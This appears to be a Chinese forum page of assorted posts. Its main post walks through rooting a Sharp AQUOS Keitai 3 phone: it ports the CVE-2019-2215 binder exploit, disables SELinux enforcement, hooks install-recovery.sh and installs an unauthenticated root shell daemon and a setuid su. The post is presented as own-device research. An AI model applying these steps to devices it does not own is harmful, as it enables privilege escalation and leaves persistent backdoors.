-
先定边界，再做实现。
明确目标、不做什么、完成标准；新增需求先判断是否属于核心职责，能通过扩展解决的能力优先外置。 -
共享事实只维护一份。
版本、限制、协议等共同依赖的信息应有唯一权威来源，其他位置通过引用或生成获取，避免人工同步。 -
按变化原因划分模块。
经常一起变化的逻辑放在一起，独立变化的逻辑分开；入口负责组织调用，模块各自承担清晰职责。 -
让依赖、状态和生命周期显式可见。
减少循环依赖与隐式全局，明确启动、停止、连接和清理过程，使状态可查询、问题可定位。 -
先定义契约，也定义失败。
对外接口应明确输入、输出、错误、资源限制与兼容性；调用方应能区分执行失败、尚未完成和已经生效。 -
把重复约束变成自动检查。
能生成的内容不手改，能机械验证的一致性不依赖记忆；生成过程应可重复，写入失败不能破坏已有内容。 -
让文档各司其职。
分清入门、设计、接口、验证和交接信息，同一事实避免重复维护；历史内容明确归档，随交付物提供的说明必须独立可用。 -
让验证方式匹配真实风险。
纯逻辑用快速测试，跨环境行为用真实集成验收，复杂交互辅以人工检查；简化环境中的通过不能替代用户环境中的证据。 -
验证具体结果，也验证失败原因。
不只检查是否成功，还要确认关键输出、状态变化和预期错误；区分环境未就绪与产品缺陷，让失败能够复现。 -
把变更做成可审查、可交接的闭环。
分开重构与行为变化，同步实现、契约、验证和说明；发布前核对交付内容，记录已知限制，并保留可追溯的版本。
administrators
私有
帖子
-
AI 新建项目 目录结构基础 约束
-
SHARP NP805SH ROOT 笔记
设备：SHARP SG805SH/NP805SH/AQUOS ケータイ3
平台：Qualcomm MSM8909 ｜ Android 8.1.0 ｜ Linux 3.18.71-perf
结果：重启自动生效的完整 capabilities root，无需再运行 exploit。
用厂商公开的内核源码逐字节复现编译 → 从带 DWARF 的 vmlinux 导出结构体偏移 → 移植 CVE-2019-2215 拿临时 root → （SELinux 策略 + install-recovery.sh 钩子 + rootd 守护进程）永久化。1. 资源
资源 地址 说明 Sharp OSS 页面 https://k-tai.sharp.co.jp/support/developers/oss/aquos-keitai3/index.html必须用**商品名「AQUOS ケータイ3」**检索，型番 SG805SH搜不到内核源码 http://ad-dl02.4sh.jp/developers/oss/aquos-keitai3/index_v2/download/AQUOS_keitai3_S0018.tar.gz171,646,693 字节，md5 d0a7aa6d16cf9441731f61697660f88dARM 工具链 AOSP prebuilts arm-eabi-4.8（android-8.1.0_r1分支）与设备编译器版本一致 CVE-2019-2215 报告 Project Zero issue 1942 Jann Horn & Maddie Stone ARM32 移植 ★ https://github.com/flipphoneguy/root-sonim-xp3800946 行，含 docs/arm32-port.md，本文 exploit 基于它3.18 PoC 参考 CrackerCat/cve2019-2215-3.18、Karma2424/cve2019-2215-3.183.18 分支专用 基础 PoC timwr/CVE-2019-2215流传最广的版本 2. 复现官方内核
没有正确的内核符号地址无从定位 exploit ，
selinux_enforcing与cred偏移。MSM8909 已 EOL，但 Sharp 公开了源码。2.1 环境
- WSL2 / Ubuntu 22.04（
.wslconfig设networkingMode=mirrored） arm-eabi-4.8（AOSP prebuilts）、pahole、secilc
2.2 配置与编译
设备原厂内核配置位于
/proc/config.gz（4375 行，世界可读），直接套用：tar xzf AQUOS_keitai3_S0018.tar.gz \ "AQUOS_keitai3_S0018/LINUX/android/kernel/msm-3.18" cp device.config ./msm-3.18/.config make ARCH=arm CROSS_COMPILE=$TC olddefconfig配置：
CONFIG_RANDOMIZE_BASE ❌ → 无 KASLR，内核地址固定 CONFIG_SLAB_FREELIST_RANDOM ❌ → 堆风水可控 CONFIG_DEBUG_INFO ✅ → vmlinux 自带 DWARF CONFIG_KALLSYMS_ALL ✅编译命令：
export KBUILD_BUILD_USER=sharp export KBUILD_BUILD_HOST=TG840314 export KBUILD_BUILD_VERSION=1 export KBUILD_BUILD_TIMESTAMP="Thu Oct 24 03:44:25 JST 2019" # ★ 必须逐字一致 HCF="-Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer -std=gnu89 -fcommon" make ARCH=arm CROSS_COMPILE=$TC CC=${TC}gcc HOSTCFLAGS="$HCF" -j20 vmlinux四个编译问题：
scripts/gcc-wrapper.py是 Python2 → 命令行覆盖CC=${TC}gcc- dtc 报
yylloc多重定义（GCC10+ 默认-fno-common）→HOSTCFLAGS补-fcommon msm_sensor.h找不到头文件 →sensor/io/Makefile补-If_midi.c找不到u_f.h→drivers/usb/gadget/Makefile补-I
关键：
KBUILD_BUILD_TIMESTAMP必须与设备构建时间逐字一致。版本串长度哪怕差一个字符，.data段整体偏移，符号地址全废。2.3 一致性验证（决定性一步）
strings vmlinux | grep -m1 'Linux version' # 期望： # Linux version 3.18.71-perf (sharp@TG840314) (gcc version 4.8 (GCC) ) # #1 SMP PREEMPT Thu Oct 24 03:44:25 JST 2019版本串逐字节一致还不够。设备
/proc/kallsyms有 131,900 条符号，本地System.map有 128,305 条，最长连续匹配块达到 26,055 个符号。拿到 root 后用真机地址最终核对：符号 本地 System.map 设备运行值 commit_credsc0138e84 c0138e84 
selinux_enforcingc146ef24 c146ef24 init_credc13171d0 c13171d0 sys_call_tablec0106b84 c0106b84 3. 导出结构体偏移
CONFIG_DEBUG_INFO=y的 vmlinux 自带完整 DWARF，直接用pahole读：pahole -C binder_thread vmlinux pahole -C task_struct vmlinux pahole -C thread_info vmlinux pahole -C cred vmlinux实测结果：
struct binder_thread size 0x134 (308) → 落在 kmalloc-512 wait_queue_head_t wait 0x50 struct task_struct *task 0x130 ← UAF 后残留，可泄露 struct task_struct void *stack 0x004 const struct cred *cred 0x3AC ← ★ 需要替换 struct thread_info addr_limit 0x008 struct cred uid 0x004, securebits 0x024, cap_inheritable 0x028, cap_permitted 0x030, cap_effective 0x038, cap_bset 0x040, cap_ambient 0x0484. 移植 CVE-2019-2215
4.1
CVE-2019-2215 是 binder 驱动的 use-after-free。MSM8909 EOL 后厂商没有把 binder 修复 backport 到 3.18 的 MSM8909 分支。审计
drivers/staging/android/binder.c确认：poll_wait(filp, &thread->wait, wait); // 脆弱写法依然存在 // binder_thread_release() 里缺少： // wake_up_poll(&thread->wait, POLLHUP | POLLFREE);检查项 结果 POLLFREE出现次数0 EPOLLFREE出现次数0 /dev/binder权限crw-rw-rw-（任意进程可打开）对照：较新机型（如 SH-03M）的源码里
POLLFREE存在，走不通。4.2 只改 2 个常量
基于
flipphoneguy/root-sonim-xp3800的 ARM32 移植版，仅需改两处：#define SELINUX_ENFORCING 0xc146ef24ul /* 原值 0xc1310ae8 */ #define OFFSET__task_struct__cred 0x3AC /* 原值 0x39C */其余偏移与本机完全一致：
BINDER_THREAD_SZ 0x134 WAITQUEUE_OFFSET 0x50 IOVEC_ARRAY_SZ 38 (0x134 / 8) IOVEC_INDX_FOR_WQ 10 (0x50 / 8，ARM32 下正好对齐)4.3 编译
arm-linux-gnueabi-gcc -static -O2 -w -o exploit_arm exploit.c # 产物：673,424 字节，ELF32 ARM，静态链接ARM32 对齐、管道时序、两阶段泄露的细节见仓库
docs/arm32-port.md，不再展开。5. 获取临时 Root
adb push exploit_arm /data/local/tmp/ adb shell chmod 755 /data/local/tmp/exploit_arm adb shell /data/local/tmp/exploit_arm id预期输出：
[*] CVE-2019-2215 exploit for SHARP AQUOS Keitai 3 (SG805SH/NP805SH) [*] start uid=2000 euid=2000 [+] ===== ROOT ===== uid=0 euid=0 gid=0 uid=0(root) gid=0(root) groups=0(root) getenforce → Permissive
️ exploit 存在竞态，约 1/5 概率导致内核 panic 重启（只会重启，不会变砖）。多试几次即可。
临时 root 只在本次进程树内有效，重启就没了——真正的工作在永久化。6. 永久化：三件套
6.0
Android 权限是三层叠加，缺任何一层都拿不到「完整 root」：
层 障碍 现象 解法 SELinux（domain） shell域没有capability setuidavc: denied { setuid }，想写enforce又被拒（鸡生蛋）改策略，把 shell/install_recovery域设为 permissivecapability（bounding set） adbd的 bounding set 只有0xc0setuid 二进制无论如何突破不了 让 init 启动守护进程，继承完整的 0x3fffffffffDAC（uid） 需要 root uid — 前两者解决后自然获得 实测证据：
adbd(shell): CapBnd = 00000000000000c0 ← 只有 setgid / setuid init(pid 1): CapBnd = 0000003fffffffff ← 完整 38 个能力这解释了为什么单纯做一个 setuid
su不行——uid 变成 0 但能力位不够，mount、读/data/data等依旧失败。6.1 A：SELinux 策略改造
可行性前提：
/system无 dm-verity、无 AVB；init 优先加载预编译策略；plat 与 vendor 侧的.sha256内容相同（都指向未修改的 CIL），init 判定「预编译策略有效」直接加载/vendor里替换的那份。# 1) 用临时 root 拉取原始策略集合 adb shell "/data/local/tmp/exploit_arm sh -c \ 'cp -r /system/etc/selinux /data/local/tmp/selinux; chmod -R 777 /data/local/tmp/selinux'" adb pull /data/local/tmp/selinux ./selinux adb pull /vendor/etc/selinux/precompiled_sepolicy ./precompiled_orig.bin # 2) 在 plat_sepolicy.cil 末尾追加两行 cat >> selinux/plat_sepolicy.cil <<'EOF' (typepermissive shell) (typepermissive install_recovery) EOF # 3) 编译（★ 策略版本必须 30，对应 3.18 的 POLICYDB_VERSION_MAX） secilc -c 30 -o final_policy.bin \ selinux/plat_sepolicy.cil \ selinux/mapping/27.0.cil \ selinux/nonplat_sepolicy.cil # 产物：435,814 字节风险控制：一定要先在 PC 侧用
secilc完整编译验证通过再推到设备。策略语法错误可能导致无法开机。6.2 B：开机钩子 install-recovery.sh
/init.rc里有一个 oneshot 服务，以 init 身份执行脚本（没有 seclabel，不做域转换）：service flash_recovery /system/bin/install-recovery.sh class main oneshot脚本末尾追加，即可拿到完整 bounding set，顺便设 permissive：
# --- 永久 root：设 permissive + 启动 root shell 守护进程 --- echo 0 > /sys/fs/selinux/enforce /system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &保留原逻辑只追加这段；权限 750，标签
u:object_r:install_recovery_exec:s0。6.3 C：root 守护进程 rootd
极简静态 C 程序（591,088 字节），监听
127.0.0.1:<port>，每个连接 fork 一个 shell：bind(... INADDR_LOOPBACK ...); accept → fork → dup2 → execl("/system/bin/sh", "sh", "-i", NULL);被 init 启动所以继承完整 capabilities——这是「完整 root」的关键。
arm-linux-gnueabi-gcc -static -O2 -w -o rootd rootd.c7. 部署与验证
7.1 部署顺序（全部通过临时 root 执行）
# 0) 推入产物 adb push final_policy.bin /data/local/tmp/final.policy adb push rootd /data/local/tmp/rootd adb push su_arm /data/local/tmp/su_arm # 1) 替换 SELinux 策略（先备份原始策略） adb shell "/data/local/tmp/exploit_arm sh -c '\ cp /vendor/etc/selinux/precompiled_sepolicy /data/local/tmp/precompiled_sepolicy.orig; \ mount -o remount,rw /vendor; \ cp /data/local/tmp/final.policy /vendor/etc/selinux/precompiled_sepolicy; \ chown 0:0 /vendor/etc/selinux/precompiled_sepolicy; \ chmod 644 /vendor/etc/selinux/precompiled_sepolicy; \ chcon u:object_r:vendor_file:s0 /vendor/etc/selinux/precompiled_sepolicy; \ sync; mount -o remount,ro /vendor'" # 2) 修改开机钩子（先备份原文件，再追加 6.2 那段） adb shell "/data/local/tmp/exploit_arm sh -c '\ mount -o remount,rw /system; \ cp /system/bin/install-recovery.sh /data/local/tmp/install-recovery.sh.orig; \ printf \"\n# --- permanent root ---\necho 0 > /sys/fs/selinux/enforce\n/system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &\n\" >> /system/bin/install-recovery.sh; \ chown 0:0 /system/bin/install-recovery.sh; chmod 750 /system/bin/install-recovery.sh; \ chcon u:object_r:install_recovery_exec:s0 /system/bin/install-recovery.sh; \ sync; mount -o remount,ro /system'" # 3) 部署 rootd 与备用 su adb shell "/data/local/tmp/exploit_arm sh -c '\ mount -o remount,rw /system; \ cp /data/local/tmp/rootd /system/xbin/rootd; \ cp /data/local/tmp/su_arm /system/xbin/su; \ chown 0:0 /system/xbin/rootd /system/xbin/su; \ chmod 755 /system/xbin/rootd; chmod 4755 /system/xbin/su; \ chcon u:object_r:system_file:s0 /system/xbin/rootd /system/xbin/su; \ sync; mount -o remount,ro /system'" # 4) 重启（此后不再需要 exploit） adb reboot7.2 验证
adb forward tcp:2323 tcp:2323 # 连接 127.0.0.1:2323，即得 root shell期望：
uid=0(root) gid=0(root) groups=0(root) context=u:r:install_recovery:s0 CapEff: 0000003fffffffff ← 完整能力 CapBnd: 0000003fffffffff ← 完整 bounding set mount -o remount,rw /system → OK ls /data/data/com.android.settings → OK cat /proc/kallsyms | grep commit_creds → c0138e84 T commit_creds8. Root 之后怎么用
adb forward tcp:2323 tcp:2323PowerShell 一行示例：
$c = New-Object Net.Sockets.TcpClient('127.0.0.1', 2323) $s = $c.GetStream() $w = New-Object IO.StreamWriter($s); $w.AutoFlush = $true $w.WriteLine("id") Start-Sleep 2 (New-Object IO.StreamReader($s)).ReadToEnd()两条备用通道：setuid su（uid=0，能力受限）
adb shell /system/xbin/su id；exploit（完整 root，约 1/5 概率 panic）adb shell /data/local/tmp/exploit_arm id。9. 设备上的文件清单
路径 内容 大小 / 权限 /vendor/etc/selinux/precompiled_sepolicy重编译 permissive 策略 435,814 字节 /system/bin/install-recovery.sh开机钩子（原逻辑 + 三行追加） 750 /system/xbin/rootdroot shell 守护进程 591,088 字节 /system/xbin/susetuid root（备用） 590,704 字节（4755） /data/local/tmp/exploit_armCVE-2019-2215 exploit（备用） 673,424 字节 回滚备份：
/data/local/tmp/precompiled_sepolicy.orig、/data/local/tmp/install-recovery.sh.orig。10. 回滚
通过 root shell 执行：
mount -o remount,rw /vendor cp /data/local/tmp/precompiled_sepolicy.orig /vendor/etc/selinux/precompiled_sepolicy mount -o remount,ro /vendor mount -o remount,rw /system cp /data/local/tmp/install-recovery.sh.orig /system/bin/install-recovery.sh rm -f /system/xbin/rootd /system/xbin/su chmod 750 /system/bin/install-recovery.sh mount -o remount,ro /system11. 安全提醒
Root 之后设备安全性明显下降：SELinux 全局 Permissive；
shell/install_recovery域在策略层面被设为 permissive；/system/xbin/su是 setuid-root，任何能执行它的进程都能拿到 uid 0；rootd在127.0.0.1:2323提供无认证 root shell；/vendor与/system已被修改。请只在自己的设备上操作，需要恢复请见第 10 节。12. 复盘：为什么这台机器能成
- 「设备真名」决定检索成败——型番
SG805SH一无所获，商品名「AQUOS ケータイ3」就能找到官方内核源码； - EOL 芯片的补丁缺口——MSM8909 停更，厂商没有 backport binder 补丁，CVE-2019-2215 可用；
- Android 权限是三层叠加——DAC / capability bounding set / SELinux，任缺一层都拿不到「完整 root」；本文分别用 setuid、init 启动、策略修改把三层补齐；
- 精确复现内核是前提——和真机逐字节对齐的符号地址，exploit 才不需要盲猜；
CONFIG_DEBUG_INFO=y的 vmlinux 是宝库——pahole直接读出所有结构体偏移。
本文为安全研究与设备修复目的撰写，所有操作均在自己的设备上进行。
- WSL2 / Ubuntu 22.04（
-
Win11 关闭 WSAIFabricSvc AI 服务
关闭 WorkloadsSessionHost / WSAIFabricSvc
停用并禁用
WSAIFabricSvc，清理WorkloadsSessionHost进程，即可彻底关闭本地 AI 推理运行时，Recall、Click to Do、语义搜索等本机 AI 功能，可逆。<!--more-->
操作
PowerShell 粘贴以下命令
Start-Process powershell -Verb RunAs -ArgumentList '-NoExit','-Command','Set-Service WSAIFabricSvc -StartupType Disabled; Stop-Service WSAIFabricSvc -Force; Get-Process WorkloadsSessionHost -EA 0 | Stop-Process -Force'若已在管理员终端中，直接执行：
Set-Service WSAIFabricSvc -StartupType Disabled Stop-Service WSAIFabricSvc -Force Get-Process WorkloadsSessionHost -EA 0 | Stop-Process -Force验证 / 恢复
Get-Service WSAIFabricSvc | Format-List Name,StartType,Status Set-Service WSAIFabricSvc -StartupType Automatic Start-Service WSAIFabricSvc -
RE: 哈基 项目推荐
开源 windows 防火墙
GitHub - tnodir/fort: Fort Firewall for Windows
Fort Firewall for Windows. Contribute to tnodir/fort development by creating an account on GitHub.
GitHub (github.com)
-
RE: 哈基 项目推荐
GitHub - chenglou/pretext: Fast, accurate & comprehensive text measurement & layout
Fast, accurate & comprehensive text measurement & layout - chenglou/pretext
GitHub (github.com)
超高性能的 js 网页文字动态排版工具
-
AI Agent 协作：提示词工程与免费网页对话 AI
AI agent 协作是复合能力：提示词工程、领域知识、管理能力、评估迭代、工具理解。管理视角是好框架，但落到执行，提示词是把目标变成 agent 输入的唯一通道，两者不是对立而是分工。比争论归因更有用的是可操作的流程：不熟悉的架构先用免费网页 AI 摸清整个流程、确定技术栈，输出完整 plan 再派给 agent；出了问题先和免费 AI 会诊，再把结论精确转达。AI 既放大表达漏洞，也放大认知上限——所以把想清楚的成本花在免费的地方，把执行的成本花在想清楚之后。
一、两类工具的成本结构不同
对话 AI 和 agent 的差异，本质不是“聊天和干活”，而是试错成本不同。
网页对话 AI（免费档的 DeepSeek、豆包、ChatGPT 之类）免费或包月，一轮一纠偏，说错了重来没有额外代价。适合陪你想清楚。
agent 按 token 烧钱，自主跑几十步，走偏了错误会复利，发现越晚代价越大。适合执行已经想清楚的事。
推论：没想清楚的事，先跟对话 AI 想清楚；想清楚的方案，交给 agent 执行。这是参谋与执行的分工，也是本文的核心。
边界：熟悉的代码库、小的可逆改动，可以让 agent 直接干。摸底流程是给陌生领域和大决策用的。二、核心流程：先摸底，再定方案，后派活
以「给内部系统对接钉钉审批流，但你从没做过」为例。
1. 用免费对话 AI 摸清流程
问的问题比得到的答案重要：
- 主流实现方式有哪几种？各自的代价？
- 需要哪些 API、SDK、权限申请？
- 典型的坑在哪？
- 描述一个典型架构和完整调用链。
警惕一点：对话 AI 有知识截止日期，SDK 版本、API 名称、参数可能记错。关键事实去官方文档核对。它给的是地图，不是路况。
但是现在大多数都带有网络搜索功能，询问最新。2. 收敛技术栈和架构
让它对比方案，逼它给出选型理由（「方案 A 在我的场景下会撞上什么问题」），最后你拍板。决策留在人手里。
3. 产出具体 plan
让对话 AI 起草分步计划，每步带验收标准。你自己过一遍，砍掉不认同的步骤。此时的 plan 应具体到：做什么、用什么、怎么算做完。
4. 派活给 agent
plan 之外，任务单里必须写环境事实：语言版本、已有依赖、相关文件位置、不能碰的东西。agent 不知道你的环境，它会拿训练数据里的“典型环境”脑补——大量幻觉来源于此。
5. 出问题：先会诊，再精确转达
agent 报错或产出不对时，不要丢一句「再试一次」。把报错原文和相关代码贴给免费对话 AI 会诊，得出结论后，压缩成明确指令转达：
token 获取逻辑有误：改为每次请求前检查 access_token 过期时间，过期先刷新。只改 auth.py，其他不动。
绕这一道的原因：- agent 自主试错烧 token 和时间，且可能在错误方向上跑远；
- 会诊过程会产生大量已否定的思路，整段贴过去会污染上下文；
- 会诊逼你把问题想清楚，转达时自然精确。
精确转达的原则：给结论和处方，不给过程；给报错原文，不给你的转述。
三、任务单怎么写
提示词工程落到 agent 场景，就是一张像样的任务单。
差的写法：帮我加个登录功能。
好的写法：
目标：为现有 FastAPI 项目添加 JWT 登录。 现状：结构见 README；用户表在 app/models/user.py；已用 sqlalchemy。 范围：只新增 auth 相关文件，不改数据库 schema。 验收：POST /login 返回 token；GET /me 用 token 鉴权通过；新增 pytest 测试全绿。 约束：用 pyjwt，不引入新框架。 流程：先列出实施步骤和涉及文件，我确认后再写代码。六个字段对应的正是经典管理问题：目标（要什么）、现状（上下文）、范围（授权边界）、验收（怎么算完成）、约束（红线）、流程（检查点）。提示词工程和管理能力在一张任务单上汇合。
验收标准最考验领域知识：你不知道什么是「对」，就写不出可测试的标准，也就永远无法验收。
两个高性价比技巧：- 复述确认：让 agent 先复述它理解的任务和步骤，确认后再执行。目标错位在最便宜的时候被发现。
- 先方案后动手：任务单末尾加一句「先给方案，我确认后再改代码」。这是人工批准门禁的提示词实现，既避免微操，也避免甩手。
四、上下文管理
上下文是稀缺资源，管理它就是管理注意力。
- 给相关的，不给全部。贴三个关键文件，胜过丢整个仓库。
- 记决策，不记流水账。会话结束让 agent 总结「已确定的事项」，下个会话带摘要进场，不带几十轮聊天记录。
- shorthand 有效，但依赖长期协作积累。新会话、新 agent，别默认它听得懂你的黑话。
五、失败诊断：症状 → 层级 → 处方
Agent 失败先分层再动手，避免把模型能力问题归咎于自己的提示词，反之亦然。
症状 层级 处方 产出与目标南辕北辙 目标层 重写目标与验收；用复述确认 方向对，细节错 提示层 补上下文：相关代码、接口、示例 编造不存在的 API 或参数 模型层 贴官方文档片段、锁定版本；或换模型 工具调用失败、文件没改上 工具层 查权限、路径、配置 前几步对，越跑越偏 流程层 任务太大，拆步、加检查点 同一处反复改不收敛 评估层 给可测的验收标准，贴报错原文 六、管理类比的适用边界
顺手说清：agent 无动机、无跨会话记忆、不随协作成长，所以激励、培养、组织政治这些管理要素不适用。适用的部分是目标设定、授权边界、检查点、验收标准——而它们恰恰都要通过提示词落地。
七、实践清单
- 陌生领域：先用免费对话 AI 摸底，官方文档核对版本和 API。
- 技术栈、架构：会诊收敛，人拍板。
- 派活前：写六字段任务单，验收标准必须可测试。
- 大任务：拆步、设检查点，关键节点人工批准。
- 出错：先会诊，精确转达，不整段转贴聊天记录。
- 跨会话：带决策摘要，不带流水账。
- 反复修不好：先分层诊断，再考虑换模型或改流程。
- 对模型：不神化，不贬低，认识边界。
管理能力决定方向和稳定性，提示词能力决定每一环的执行质量。而想不清楚的问题，agent 不会替你想清楚，只会替你执行混乱。把想清楚的成本花在免费的对话里，把执行的成本花在想清楚之后。
-
RE: 哈基 项目推荐
GitHub - FreshRSS/FreshRSS: A free, self-hostable news aggregator…
A free, self-hostable news aggregator…. Contribute to FreshRSS/FreshRSS development by creating an account on GitHub.
GitHub (github.com)
-
Newppp 取名自随机
个人使用的代理工具，依赖UDP环境
模拟浏览器的数据流，TLS+内置双加密
占用极低，速度极快，网络环境较好时可以跑满千兆宽带下行
（测试为联通1000兆家庭宽带）只提供了http代理和socks5代理出口为，需要连接第三方客户端（V2ray等）进行分流等
-
RE: 哈基 项目推荐
GitHub - iOfficeAI/OfficeCLI: OfficeCLI is the first and best Office suite purpose-built for AI agents to read, edit, and automate Word, Excel, and PowerPoint files. Free, open-source, single binary, no Office installation required.
OfficeCLI is the first and best Office suite purpose-built for AI agents to read, edit, and automate Word, Excel, and PowerPoint files. Free, open-source, single binary, no Office installation required. - iOfficeAI/OfficeCLI
GitHub (github.com)
